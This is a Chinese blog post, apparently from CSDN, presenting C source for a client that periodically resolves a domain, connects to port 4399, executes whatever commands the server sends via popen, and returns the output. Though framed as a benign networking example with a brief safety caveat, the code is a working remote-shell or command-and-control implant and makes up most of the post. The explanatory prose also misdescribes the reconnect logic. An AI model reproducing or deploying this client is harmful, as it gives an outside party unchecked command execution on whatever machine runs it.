定期与设定域名地址交互工具

下面是一个简单的C语言客户端示例,它会定期解析一个域名,然后与该域名解析得到的IP地址的4399端口建立TCP连接。客户端会持续监听来自服务器的命令,执行这些命令,并将执行结果返回给服务器。

请注意,这个示例没有包含错误处理和安全性考虑,这些在实际应用中是非常重要的。您需要确保代码能够正确处理网络错误、命令执行错误等情况,并且只执行安全的命令。

  1. 定期解析域名:当前的代码在连接失败或读取数据失败时会等待TIMEOUT_SEC秒后重试。这确实实现了定期重试的功能,但是这种简单的实现方式可能会在服务器暂时不可用时导致大量的重试尝试。
  2. 解析不成功时的行为:如果gethostbyname函数返回NULL,代码会打印一个错误消息并退出。这不符合您的要求,因为它不会继续尝试解析域名。我们应该将其修改为在解析失败时等待一段时间后重试。
  3. 非阻塞模式的使用:代码中设置了非阻塞模式,但是在recv函数调用时并没有处理EAGAINEWOULDBLOCK错误码。这意味着如果recv因为当前没有数据可读而返回EAGAIN,代码会错误地认为连接已经关闭。
    下面是一个修正后的代码示例,它会在解析失败时继续等待,并且会在没有数据可读时正确处理非阻塞模式的情况:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/types.h>
#include <fcntl.h>
#include <errno.h>
#define PORT 4399
#define BUFFER_SIZE 1024
#define DOMAIN "example.com"
#define TIMEOUT_SEC 30

void execute_command(char *cmd, char *result, int result_size) {
    FILE *fp;
    fp = popen(cmd, "r");
    if (fp == NULL) {
        snprintf(result, result_size, "Failed to execute command.\n");
        return;
    }

    char buffer[BUFFER_SIZE] = {0};
    while (fgets(buffer, sizeof(buffer), fp) != NULL) {
        strncat(result, buffer, result_size - strlen(result) - 1);
    }

    pclose(fp);
}

int main() {
    int sock_fd, len;
    struct sockaddr_in address;
    struct hostent *server;
    char buffer[BUFFER_SIZE] = {0};
    char response[BUFFER_SIZE] = {0};
    while (1) {
        // 解析域名
        server = gethostbyname(DOMAIN);
        if (server == NULL) {
            fprintf(stderr, "DNS resolution failed, retrying in %d seconds...\n", TIMEOUT_SEC);
            sleep(TIMEOUT_SEC); // 等待一段时间后重试
            continue;
        }
        // 创建socket
        sock_fd = socket(AF_INET, SOCK_STREAM, 0);
        if (sock_fd < 0) {
            perror("Socket creation failed");
            exit(EXIT_FAILURE);
        }
        // 设置服务器地址
        memset(&address, 0, sizeof(address));
        address.sin_family = AF_INET;
        memcpy(&address.sin_addr.s_addr, server->h_addr, server->h_length);
        address.sin_port = htons(PORT);
        // 连接到服务器
        if (connect(sock_fd, (struct sockaddr *)&address, sizeof(address)) < 0) {
            perror("Connect failed");
            close(sock_fd);
            sleep(TIMEOUT_SEC); // 等待一段时间后重试
            continue;
        }
        // 设置非阻塞模式
        fcntl(sock_fd, F_SETFL, O_NONBLOCK);
        // 循环读取和执行命令
        while (1) {
            // 清空缓冲区
            memset(buffer, 0, BUFFER_SIZE);
            memset(response, 0, BUFFER_SIZE);
            // 读取数据
            ssize_t bytes_received = recv(sock_fd, buffer, BUFFER_SIZE - 1, 0);
            if (bytes_received <= 0) {
                if (errno == EAGAIN || errno == EWOULDBLOCK) {
                    // 如果没有数据可读,等待一段时间
                    sleep(1);
                    continue;
                } else {
                    // 如果读取失败或连接已关闭,跳出循环
                    perror("recv failed");
                    break;
                }
            }
            printf("Received command: %s\n", buffer);
            // 执行命令并将结果存储在response中
            execute_command(buffer, response, BUFFER_SIZE);
            // 将执行结果发送回服务器
            send(sock_fd, response, strlen(response), 0);
            printf("Response sent.\n");
        }
        // 关闭连接
        close(sock_fd);
    }
    return 0;
}

在这个修正后的代码中,如果gethostbyname返回NULL,客户端会打印一个错误消息并等待TIMEOUT_SEC秒后重试。在读取数据时,如果recv返回EAGAINEWOULDBLOCK,客户端会等待1秒后再次尝试读取数据,而不是立即重试解析域名。
请注意:这个代码示例仍然缺少错误处理和安全性考虑,这些在实际应用中是非常重要的。您需要确保代码能够正确处理网络错误、命令执行错误等情况,并且只执行安全的命令。此外,您可能需要根据实际情况调整超时时间和重试策略。

这个客户端会定期解析域名,并尝试与解析得到的IP地址的4399端口建立连接。连接成功后,它会进入一个循环,不断读取服务器的命令,执行这些命令,并将结果返回给服务器。如果读取操作没有数据可读,客户端会等待一段时间后重新解析域名并尝试重新连接。

  • 4
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值